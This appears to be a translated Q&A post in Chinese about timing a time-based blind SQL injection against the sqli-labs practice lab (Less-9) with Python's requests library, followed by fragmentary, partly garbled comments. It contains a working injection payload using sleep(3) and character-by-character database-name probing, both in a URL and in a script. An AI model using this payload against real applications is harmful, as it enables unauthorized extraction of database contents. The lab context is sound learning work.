我正在尝试在Web应用程序的HTTP响应中引入人工延迟(这是一种用于进行盲SQL注入的技术)。如果以下HTTP请求来自浏览器,则来自Web服务器的响应会在3秒钟后返回(由sleep(3)引起):
http://192.168.2.15/sqli-labs/Less-9/?id=1'+and+if+(ascii(substr(database(),+1,+1))=115,sleep(3),null)+--+
我正在尝试使用requests库在Python 2.7中完成相同的操作。我目前的代码如下:
import requests
payload = {"id": "1' and if (ascii(substr(database(), 1, 1))=115,sleep(3),null) --+"}
r = requests.get('http://192.168.2.15/sqli-labs/Less-9', params=payload)
roundtrip = r.elapsed.total_seconds()
print roundtrip
我预期往返时间为3秒,但实际得到的值是0.001371、0.001616、0.002228等。我没有正确使用elapsed属性吗?
requests.get
是一个阻塞调用,因此拥有r.content
并不是真正必要的,以“等待完整内容传输”为目的。 - dv3stream=True
(默认为False
),否则内容将立即下载,否则get()
在接收到头文件后返回。 - mata